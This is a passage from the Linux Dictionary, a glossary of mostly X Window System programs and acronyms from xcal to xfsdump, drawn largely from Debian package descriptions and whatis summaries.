xcal

a graphical calendar with memos and reminder alarms The "classic" calendar app with memos and alarms, xcal normally sits idle and displays the date. When clicked on, pops up a `strip' for this month. Clicking on a day allows you to enter details. Automatically parses times entered, and reminds you 5 minutes before your appointment. Supports daily and weekly repeating events and context−sensitive help. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcalc

scientific calculator for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcalendar−i18n

calendar program on X with i18n support xcalendar is a simple interactive calendar program with a notebook capability. It is built on the X Toolkit and the Athena or Motif Widgets (compile time option). xcalendar−i18n is a modified version of xcalendar with X11R6−style i18n implementation. Resource files for JA and KR are included. JA resource is included in the original xcalendar, not in the i18n patch. KR resource is sent by Changwoo Ryu <cwryu@debian.org> for this Debian package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcall

Packet radio program for X/GTK Xcall is a packet radio program which supports the AX.25, NET/ROM and Rose protocols. The current features of xcall are: o Command line history. o Recording of the session into a file. o AX.25 port information read from the proc filesystem. o Changing of the receive window font and colors. o Dutch and French Language support. o Basic support for DX Clusters. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcb

Pigeon holes for your cut and paste selections xcb provides easy access to the cut buffers built into every X server. It allows the buffers to be manipulated either via the command line, or with the mouse in a point and click manner. This version is also utf−8 capable. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCCI
: X Common Client Interface (X−Windows), "X CCI" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcdroast
: X based CD−writer software X−CD−Roast is a full X based CD−Writer−program and is the successor of cdwtools−0.93. It is a frontend for CD related programs like cdwrite and mkisofs. Feature list of 0.98alpha: − Easy setup and intuitive X11 user interface − GUI based on GTK+ instead of TCL/TK (100% new C−code) − Copies most data/mixed−mode/audio−CDs (data also on−the−fly) − Master data−CDs and rearrange audio−CDs (data also on−the−fly) − Create your own audio−CDs (full Disk−at−Once support) − Multisession/Bootable CD creation. − Supports most SCSI/ATAPI/Parallel−CD−Writers available − Supports different international languages − CDDB−Lookups and CD−Text − Online help − Administration mode for usage in computer pools. − Fully themeable via GTK−Themes − Runs on most common Unix−Operation−Systems (Primary platforms: Linux and Solaris) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCEM
: eXtensions for Control, Engineering and Manufacturing (API, MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xchain
: A strategy game for 2−4 players Chain Reaction is a classic strategy game for 2−4 players. Players take turns to place tokens on an 8x8 board. When a square exceeds it's maximum value, it explodes, setting off the surrounding squares. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xchat
: IRC client for X similar to AmIRC XChat is a graphical IRC Client with a GTK+ GUI. It has a look and feel similar to AmIRC for the Amiga. Special features include the mIRC extension DCC RESUME and mIRC color, multiple server/channel windows, dialog windows, and a plugin API. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCHS
: eXtended Cylinder Head Sectors (EIDE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcin
: Chinese input server in X11 This package contains the XCIN Chinese input server, to be used with Chinese Rxvt (provided in the rxvt−ml package) for the X Window System. It supports both Big5 (traditional Chinese) and GB (simplified Chinese) character sets. Currently, the Debian xcin package use the 12x24, taipei24 (zh_TW.Big5) and hanzigb24st (zh_CN.GB2312) fonts, although other fonts may be used. There is also limited support for the new zh_CN.GBK and zh_HK.Big5−HKSCS locales. More fonts and input methods will be available for Debian in the future. Home Page: http://xcin.linux.org.tw/ Authors: Edward Der−Hua Liu, Taiwan Suei−Jeng Wang <vvvv.bbs@cis.nctu.edu.tw> Tung−Han Hsieh <thhsieh@linux.org.tw> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcin2.3
: Chinese input server (Big5) for XA+CV in X11. This package contains the (old) XCIN2.3 Chinese input server, to be used with Chinese Rxvt (provided in the rxvt−ml package) and XA+CV in X11. It only supports Big5. Install the xcingb if you want GB support instead. Currently, the Debian xcin package defaults to use the 12x24 and taipei24 fonts from the xfonts−base and xfonts−intl−chinese packages. Home Page: http://xcin.linux.org.tw/ Authors: Edward Der−Hua Liu, Taiwan Suei−Jeng

Wang <vvvv.bbs@cis.nctu.edu.tw> Tung−Han Hsieh <thhsieh@linux.org.tw> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcingb

[Obsolete] Chinese input server (GB) for Crxvt in X11. Note: This package is obsolete. It is provided in case the user needs it for some old applications. The user is recommended to use xcin 2.5.x or chinput 3.x instead. This package contains the XcinGB Chinese input server, as well as its companion crxvt−gb−2.3 (or gbrxvt−2.3) Chinese X terminal for the X Window System. It supports the GB2312 character set, the standard encoding in Mainland China and other places that use Simplified Chinese characters, Jiantizi. Home Page: http://xcin.linux.org.tw/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcircuit

Draw circuit schematics or almost anything. xcircuit is a generic drawing program tailored for making circuit diagrams. The graphical interface attempts to maintain consistency between X11 window rendering and the pure PostScript output. xcircuit is mouse, menu and keyboard driven. The emphasis is on single character macros. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xclip

command line interface to X selections xclip is a command line utility that is designed to run on any system with an X11 implementation. It provides an interface to X selections ("the clipboard") from the command line. It can read data from standard in or a file and place it in an X selection for pasting into other X applications. xclip can also print an X selection to standard out, which can then be redirected to a file or another program. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xclipboard

X clipboard client From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xclips

Graphic interface to the "C" Language Integrated Production System This package provides a graphical interface to clips that allows user to have access to many functions and easy display of the agenda, instance, facts... From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xclock

analog / digital clock for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCMOS

eXtended CMOS (IC, CMOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCMS

X Color Management System (X−Windows), "Xcms" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcmsdb

Device Color Characterization utility for X Color Management System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCOFF

eXtended Common Object File Format (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcolors

display all X11 color names and colors Reads the rgb.txt file that defines the color names the X server knows and displays the colors found. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcolorsel

display colors and names in X xcolorsel is an X utility that displays the contents of the X color list file (/etc/X11/rgb.txt) together with tiles showing how the color looks on your screen. You can cut the color names/definitions in various formats (suitable for resource files or C source) so they can be pasted directly into source codes or resources. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xconq
A graphical multi−player strategy game and game design system. Xconq is an Empire−type strategy game, where each player contests for domination of a simulated world. Unlike most empire−building games, it features a programming language that game designers can use to build a wide variety of games. Games already in the distribution's library include everything from simple combat, to elaborate world models, to silly but fun games, with time periods ranging from ancient history into the distant future. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xconq−common
common Files to Xconq. This package contains common architecture independent files needed by Xconq. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xconsole
monitor system console messages with X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xconvers
Hamradio convers client for X/GTK Xconvers is a client to connect to a convers server (port 3600) over the internet or by packet−radio. In a split−screen session you can type text into the bottom screen. The reply from the server can be seen in the top screen. The current version features: color support, optional saving of the session to a logfile, history for the connect dialog and the send widget and autologin. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcoral
Extensible mouse−based text editor for X This is a multi−window mouse−based text editor for the X Window System. It is provided with a built−in C/C++/Java browser and an Ansi C Interpreter to dynamically extend the editor's possibilities (modes, key−bindings). Xcoral also offers facilities to write LaTeX documents and HTML pages. This package install the Xcoral user's manual in postscript. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcruise
Fly about 3D−formed file system Xcruise allows you fling about the file system by 3D−view. Every file appears as a planets, directory appears as a galaxies,and symbolic link appears as a worm−holes. You could fly about this space world by moving and clicking your mouse From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XCUTS
X Commands and Utilities Test Suite (X/Open) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcutsel
interchange between cut buffer and selection From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xcwcp
Qt frontend to unixcw Xcwcp is an X−based interactive Morse code tutor program. It lets you choose from a number of options for practice, including sending random characters, random words, and characters from the keyboard. It will also receive Morse code that you send using the keyboard or mouse as a Morse keyer, and display the characters it sees. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdaliclock
Melting digital clock The xdaliclock program displays a digital clock; when a digit changes, it "melts" into its new shape. It can display in 12 or 24 hour modes, and displays the date when a mouse button is held down. It has two large fonts built into it, but it can animate most other fonts that contain all of the digits. It can also do some funky psychedelic colormap cycling, and can use the "shape" extension so that the window is shaped like the digits. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdelta

Xdelta (X for XCF: the eXperimental Computing Facility at Berkeley) is a binary delta generator (like a diff program for binaries) and an RCS version control replacement library. The Xdelta library performs its work independently of the actual format used to encode the file and is intended to be used by various higher−level programs such as XCF's Project Revision Control System (PRCS). PRCS is a front end for aversion control toolset. Xdelta uses a binary file delta algorithm toreplace the standard diff program used by RCS. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdemineur

Yet another minesweeper for X This one is the most similar to the Windows one in terms of look and feel. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdeview

Smart multi−file multi−part decoder (X11 GUI) This is an X11−based decoder for files encoded with the following formats: uuencode, xxencode, BASE64, quoted printable, and BinHex. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdfcopy

Program to copy and format Xdf disks in Linux TQ From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdfformat

Program to copy and format Xdf disks in Linux TQ From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdialog

X11 replacement for the text util dialog Xdialog is designed to be a drop−in replacement for the dialog and cdialog programs. It converts any terminal−based program into a program with an X interface. The dialogs are easier to see and use, and Xdialog adds more functionality such as a help button and box, a treeview, an editbox, file and directory selectors, a range box, and a calendar. It uses GTK+, and will match your desktop theme. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdigger

A XWindow−game like Boulderdash (without scrolling) You are a little (digger−)man and have to collect diamonds. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdiskusage

Displays a graphic of your disk usage with du xdiskusage is a user−friendly program to show you what is using up all your disk space. It is based on the design of the "xdu" program written by Phillip C. Dykstra. Changes have been made so it runs "du" for you, and can display the free space left on the disk, and produce a PostScript version of the display. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xditview

display ditroff output From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdkcal

Desktop Calendar for X X Desktop Calendar (xdkcal) is a Calendar for X Window System. It draws calendar on your desktop. You can customize, fontset, color drawing style. This application is completely internationalized so it reads locale database and draw locale specific strings, such as name of months or weeks. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XDM

X Display Manager (X−Windows) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdm

X Display Manager – users need only to type in their username and password at a friendly prompt, and they are dropped directly into the graphical environment. This is simple and easy to use, and is seen frequently in college campuses, cyber cafes, business environments, anywhere you have users not necessarily familiar with Unix to any great extent. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdm

X display manager xdm manages a collection of X servers, which may be on the local host or remote machines. It provides services similar to those provided by init, getty, and login on character−based terminals: prompting for login name and password, authenticating the user, and running a session. xdm supports XDMCP (X Display Manager Control Protocol) and can also be used to run a chooser process which presents the user with a menu of possible hosts that offer XDMCP display management. If the xutils package is installed, xdm can use the sessreg utility to register login sessions to the system utmp file; this, however, is not necessary for xdm to function. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XDM (X Display Manager)

User−friendly login front end for the X Window System. Often used in a cyber cafi or campus environment where users who are not familiar with UNIX need occasional access. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XDMCP

X Display Manager Control Protocol (X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdpyinfo

display information utility for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XDR

eXternal Data Representation (ONC, RPCL, Sun, RFC 1832) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdrawchem

an open−source version of ChemDraw A linux application that mirrors the abilities of ChemDraw This program has file compatibility with Chemdraw files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XDS

Xeros Data Systems (manufacturer, Xerox) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdu

display the output of "du" in an X window XDU is a program for displaying a graphical tree of disk space utilization as reported by the UNIX utility "du". You can navigate up and down in the tree, sort things, and print out information. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xduck

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdvi

DVI Previewer for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdvi.bin

DVI Previewer for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xdvi.real

DVI Previewer for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xed
The standard text editor, for X xed is a Tcl/Tk reimplementation of the standard text editor, ed. It includes a window showing the file you're editing, but also has the classic efficient text−based interface Unix users have loved for years. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xedit
simple text editor for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xeji
Yet Another Follow the Mouse X demo A man will watch over you. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xemacs21−bin
Editor and kitchen sink −− support binaries A spinoff of the GNU Emacs editor with much better support for X including multiple fonts within the same buffer and images within buffers, but that doesn't even begin to describe the changes. XEmacs is a full fledged programming language with a mail reader, news reader, info browser, web browser, calendar, specialized editor for more programming languages and other formats than most people encounter in a lifetime, and much much more. After starting it up peruse the Help menu and read more on its origins and what it can do. You will need one of xemacs21−mule, xemacs21−nomule, or xemacs21−mule−canna−wnn to actually run xemacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xemacs21−gnome−mule
Editor and kitchen sink −− Mule binary This package contains the actual binary used to run XEmacs. It depends on the xemacs21−support package for lisp and etc files, and the xemacs21−bin package for supporting binaries. This binary has been compiled with support for mule, but no input extensions. This version has also been compiled to use features from gtk and gnome. Mule is the extension to (x)emacs that allows for the display of non−European characters (for example Japanese and Korean characters). This version of the package is mainly useful for only the display and reading of international characters. It does not have any mechanism for entering non−European characters (see the xemacs21−mule−canna−wnn package for that). This package actually contains one of the six xemacs binaries available. They are xemacs21−nomule, xemacs21−mule, xemacs21−mule−canna−wnn, xemacs21−gnome−nomule, xemacs21−gnome−mule, and xemacs21−gnome−mule−canna−wnn. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xemeraldia
not just another tetris clone Another tetris−like falling blocks game. Although it looks like Tetris, it's not−−−and figuring out how to make blocks go away is half the fun. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xengine
A benchmark program for the X Window System. It displays an animation of the moving engine of cars. The r.p.m. of the engine suggests the performance of the X Window System to put dots on the display. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XEROX PARC
/zee'roks park'/ n. The famed Palo Alto Research Center. For more than a decade, from the early 1970s into the mid−1980s, PARC yielded an astonishing volume of groundbreaking hardware and software innovations. The modern mice, windows, and icons style of software interface was invented there. So was the laser printer and the local−area network; and PARC's series of D machines anticipated the powerful personal computers of the 1980s by a decade. Sadly, the prophets at PARC were without honor in their own company, so much so that it became a standard joke to describe PARC as a place that specialized in developing brilliant ideas for everyone else. The stunning shortsightedness and obtusity of XEROX's top−level suits has been well anatomized in "Fumbling The Future: How XEROX Invented, Then Ignored, the First Personal Computer" by Douglas K. Smith and Robert C. Alexander (William Morrow & Co., 1988, ISBN 0−688−09511−9). From Jargon

Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XES

Xerox Engineering Systems (Xerox) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xeukleides

a program to create Euclidean geometry figures. xeukleides is a system for editing and viewing elementary Euclidean geometry figures using a gtk interface. Also included is eukleides which is console based. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xeuklides

a program to create euclidean geometry figures. xeuklides is a system for editing and viewing elementary euclidean geometry figures using a gtk interface. Also included is euklides which is console based. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xev

print contents of X events From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xevil

A violent side−scrolling game for X XEvil is a 3rd person, side−view, fast−action, kill−them−before−they−kill−you game. Fight against either computer−controlled enemies, or another player. You sinned in life. And now you must pay. Satan pits the recently deceased against each other to fight for rank in Hell. Your skill determines your fate for all eternity. This contest is known as XEvil. XEvil runs on Windows 95/98/NT, and most Unix platforms. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xexec

Run a simple arbitrary command from X xexec is a program designed to allow quick and easy access for running simple command lines. For example, let's say you wanted to start Netscape, but didn't have it on your window manager's menu. Just run xexec, and type netscape in the text box, press enter, and there you have it. It is especially useful for allowing access to any available command via one primary menu entry. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xext

extensions to XFree86 3.x servers xext provides extensions to XFree86 version 3.x servers. This presently includes a system for 3D rendering under X called PEX (the PHIGS/PHIGS−PLUS Extension to X, in which PHIGS stands for Programmer's Hierarchical Interactive Graphics System), XIE (X Image Extension), and XInput, which can manage the following input devices: * joystick (PC game port type) * Elographics touch screen * MicroTouch touch screens (using stylus or finger) * mouse * Wacom eraser * Wacom cursor * SummaSketch tablet * AceCad tablet * CalComp DrawingBoard tablet * SWITCH virtual device * SGI button box While this package is installable without an X server on the system, it is only useful in conjunction with an XFree86 3.x X server. Note that the loadable extension modules in this package are not compatible with, and are not used by, the XFree86 version 4.x X server. If you intend to use the joystick extension (and the joycal joystick calibration program), and are using a Linux kernel version prior to 2.2, you will need the joystick kernel module package. Note that the PEX extension is not supported on the Alpha architecture. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xeyes

a follow the mouse X demo From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xf86cfg

Graphical configuration tool for XFree86 4.0 From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xf86config

generate an XF86Config file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfaces

Displays an image for each piece of mail in your mailbox. XFaces is a program that will display an image for each piece of mail in your mail box. This lets you know at a glance who you have mail from. XFaces starts out (when you have no mail) looking like a color xbiff. As you receive mail XFaces becomes a column of mail images. Some of XFaces features: − Both mono and color images. − Optional Shaped window support with both xpm and xbm. − Sound support using the NetAudio protocol. The NetAudio server currently supports Sun's SparcStation (SunOS 4.1.X and Solaris 2.2), SGI's Indigo and NCD MCX X terminals running NCDware 3.1 or later. − Face images can be "compressed" so that each image will only show up once on your display. This way, if you receive 30 messages from one user, list or whatever the image will only show up once. − You can use regular expressions to search any headers to choose images and sounds or ignore that mail message completely. This lets you specify an image/sound for mail that comes from a mailing list or ignore mail that you have already seen but left in your system mailbox. − Compatibility support for Rich Burridge's faces program. This includes the ability to run user command to generate the image list. − Support for POP mailboxes. − XFaces can kick off shell commands based upon mailbox contents. You could have yourself paged when a high priority item needs your attention. − XFaces can run external filters to convert images into Xpm so that image formats that XFaces does not understand can be used. − The annotations for mail items include username, hostname, count, user@host, the contents of any header. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFCB

Extended File Control Block From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfce

The Cholesterol Free Desktop Environment XFce, previously known as XForms cool environment, is a desktop environment reminiscent of CDE that uses the GTK+ library, and isn't resource−hungry. XFce includes a window manager, tool bar, file manager, backdrop manager, sound subsystem, clock and calendar, mouse configuration and pager module. Also includes sounds, icons, backgrounds and pixmaps used by the XFce environment and window manager, along with systemwide configuration files and HTML help files. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfd

display all the characters in an X font From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFE

X Front End (X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfig

Facility for Interactive Generation of figures under X11 XFig is a menu−driven tool that allows the user to draw and manipulate objects interactively in an X window. The resulting pictures can be saved, printed on postscript printers, or converted to a variety of other formats (e.g. to allow inclusion in LaTeX documents or web pages) using the transfig program. This package contains the xfig program itself and the object libraries. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfindproxy

locate proxy services From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfingerd

BSD−like finger daemon with qmail support. Yet another finger daemon. Mimics the output and behavior of the original BSD daemon. Does not need to be run as root, has support for PGP keys, qmail mailboxes and qmail dash−extended usernames. Generally paranoid about account probes, while still allows search by full name. Users can control if they can be fingered or not. Uses tcpwrappers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfireworks

Fireworks in your root window XFireworks makes fireworks in the root window on X. This is imitation of Japanese "Hanabi Taikai". It is very popular event in Japanese summer and performed on some rivers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfishtank

turns your X root into an aquarium Enjoy an animated aquarium background on your screen, with a variety of tropical fish swimming in it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xflip

programs to mirror−image or melt your display. Flip your (or your "xhost +" using friend's) screen on either the vertical or horizontal axis or melt away the graphics on your display. Both commands have a −planes option to independently act on individual bit planes. This version now comes with a new −oblic option which flips horizontally and vertically simultaneously. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfm

X file and application manager Xfm is an file and application manager program for the X Window System, based on the Xaw3d widget set. It provides virtually all of the features that you would expect in a file manager; move around your directory tree in multiple windows, move, copy or delete files, and launch programs with simple mouse operations. Directory displays are updated automatically in regular intervals when the contents of the directory change. The integrated application manager provides a kind of "shelf" onto which you can place your favorite applications, as well as the files and directories you are currently working with. It also allows you to access different groups of applications and files. User−definable file types let you specify a command to be executed when double−clicking on a file or dropping other files onto it. Last not least, xfm can automatically mount and unmount special devices like floppies as you open and close the corresponding directories (mount points). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFN

X/open Federated Naming (X/Open) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfontsel

point and click selection of X11 font names From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFree86

A free software implementation of the X Window System (X); an interface that communicates between video cards, displays, and the graphical desktop; provides windowing infrastructure and an interface for programming graphical applications. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFree86

A version of the X Window System for Linux. Used by GNOME, KDE and other Linux user interfaces/window managers. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFree86

If you want to install the X Window System (TM) on your machine, you'll need to install XFree86.The X Window System provides the base technology for developing graphical user interfaces. Simply stated,X draws the elements of the GUI on the user's screen andbuilds methods for sending user interactions back to the application. X also supports remote application deployment−−running an application on another computer while viewing the input/outputon your machine. X is a powerful environment which supports many different applications, such as games, programming tools, graphics programs, text editors, etc. XFree86 is the version of X which runs on Linux, as well as other platforms. This package contains the basic fonts, programs and documentationfor an X workstation. You will also need the XFree86−serverpackage, which contains the program which drives your video hardware. In addition to installing this package, you will need to install the drakxtools package to configure your card using XFdrake. You may also need to install one of the XFree86 fonts packages.And finally, if you are going to develop applications that run asX clients, you will also need to install XFree86−devel. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFree86

X was developed by the X Consortium as a standard as well as a reference implementation of that standard. There are ports to every platform that supports graphics. The current version of the standard is 11 release 6 (hence the directory /usr/X11R6/). There will probably never be another version. XFree86 <http://www.xfree86.org/> is a free port of X that includes LINUX Intel machines among its supported hardware. X has some peculiarities that are worth noting if you are a Windows user, and XFree86 has some over those. XFree86 has its own versioning system beneath the ``11R6''. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFree86

XFree86 is an open source implementation of the X Window System. It provides the basic low level functionality which full fledged graphical user interfaces (GUIs) such as GNOME and KDE are designed upon. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfree86−common

X Window System (XFree86) infrastructure xfree86−common contains the filesystem infrastructure required for further installation of the X Window System in any configuration. Those wishing an X server only (with remote font services and clients) will also require the xserver−common package and an X server package (most likely xserver−xfree86). The counterpart to the above configuration is a machine with the X libraries (the xlibs package), xbase−clients, a window manager, some X font packages, and likely many more client packages. Those who desire a standalone X workstation (and/or are fuzzy on the concepts of X servers and X clients) will require both of the above sets of packages. For convenience, the "x−window−system" metapackage will include everything that is required for a standalone X workstation. A number of terms are used to refer to the X Window System, including "X", "X Version 11", "X11", "X11R6", and "X11R6.4". The version of X used in Debian is derived from the version released by the XFree86 Project, Inc., and is thus often also referred to as "XFree86". All of the preceding quoted terms are functionally interchangeable in a Debian system. Still confused? Install this package and then read the files in /usr/share/doc/xfree86−common/ for assistance. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfreecd

a GTK−based CD Player XfreeCD is a X window program that looks like the front panel of a CD player. It has full cddb database support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfrisk

Server and X11 client for playing risk with humans or AIs xfrisk allows you to play risk against other players over TCP/IP and/or with 3 different AI players. Risk is a board game played on a map of the world. You control a group of armies and attempt to capture large sections of the world and try to stop your opponents from doing the same thing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XFS

eXtended File System (JFS, SGI, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfs

X font server From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfs

X font server xfs is a daemon that listens on a network port and serves X fonts to X servers (and thus to X clients). All X servers have the ability to serve locally installed fonts for themselves, but xfs makes it possible to offload that job from the X server, and/or have a central repository of fonts on a networked machine running xfs so that all the machines running X servers on a network do not require their own set of fonts. xfs may also be invoked by users to, for instance, make available X fonts in user accounts that are not available to the X server or to an already running system xfs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfs−xtt

X−TrueType font server This package provide X−TrueType font server. This is compatible normal X font server, but added X−TrueType font handling scheme support instead of FreeType backend. XFree86 4.0's font server can handle TrueType too, but it can not handle TTCap. By using TTCap description, support for font transformations, such as slanting, adjusting glyph width, pseudo−bolding, etc. xfs−xtt is a daemon that listens on a network port and serves X fonts to X servers (and thus to X clients). All X servers have the ability to serve locally installed fonts for themselves, but xfs makes it possible to offload that job from the X server, and/or have a central repository of fonts on a networked machine running xfs so that all the machines running X servers on a network do not require their own set of fonts. xfs may also be invoked by users to, for instance, make available X fonts in user accounts that are not available to the X server or to an already running system xfs−xtt. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfsdump

Administrative utilities for the XFS filesystem The xfsdump package contains xfsdump, xfsrestore and a number of other administrative utilities for managing XFS filesystems. xfsdump examines files in a filesystem, determines which need to be backed up, and copies those files to a specified disk, tape or other storage medium. It uses XFS−specific directives for optimizing the dump of an XFS filesystem, and also knows how to backup XFS extended attributes. Backups created with xfsdump are "endian safe" and can thus be transfered between Linux machines of different architectures and also between IRIX machines. xfsrestore performs the inverse function of xfsdump; it can restore a full backup of a filesystem. Subsequent incremental backups can then be layered on top of the full backup. Single files and directory subtrees may be restored from full or partial backups. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfsinfo

X font server information utility From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfsprogs

